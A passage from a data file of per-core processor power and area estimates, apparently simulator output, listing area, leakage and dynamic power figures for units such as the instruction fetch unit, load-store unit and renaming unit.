'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 0.969552,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0307258,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.0517702,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 3.23512,
'Instruction Fetch Unit/Runtime Dynamic': 0.0983782,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0393199,
'L2/Runtime Dynamic': 0.0244935,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 1.58352,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.224484,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0112068,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.011207,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 1.63644,
'Load Store Unit/Runtime Dynamic': 0.29096,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0276342,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.0552689,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.00980745,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0103946,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.0602832,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.00504767,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.233239,
'Memory Management Unit/Runtime Dynamic': 0.0154422,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 12.9759,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.114318,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00369732,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0232664,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.141281,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 1.53922,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0323783,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.22812,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.228278,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.0508866,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.0820783,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.0414304,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.174395,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0232013,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.23968,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0431265,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00213441,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0253842,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0157853,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0685107,
'Execution Unit/Register Files/Runtime Dynamic': 0.0179197,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.0615738,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.141104,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 0.966917,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 3.2759e-05,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 3.2759e-05,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 2.83425e-05,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 1.08677e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000226757,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000320618,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000320897,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0151748,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 0.965248,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0306645,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.0515405,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 3.23061,
'Instruction Fetch Unit/Runtime Dynamic': 0.0980214,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0396151,
'L2/Runtime Dynamic': 0.0245352,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 1.5844,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.225355,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0112354,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0112355,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 1.63746,
'Load Store Unit/Runtime Dynamic': 0.292,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.0277046,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.0554097,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.00983246,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0104241,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.0600156,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.00503741,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.233015,
'Memory Management Unit/Runtime Dynamic': 0.0154615,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 12.9698,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.113447,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.00367649,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0231757,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.140299,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 1.53723,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0323991,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.228136,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.228579,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.0508979,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.0820965,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.0414395,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.174434,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0231687,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.24003,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0431834,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00213489,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0253879,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0157888,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0685713,
'Execution Unit/Register Files/Runtime Dynamic': 0.0179237,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.0615868,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.14117,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 0.967041,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 3.26378e-05,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 3.26378e-05,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 2.8238e-05,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 1.08278e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000226807,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000320321,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000319699,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
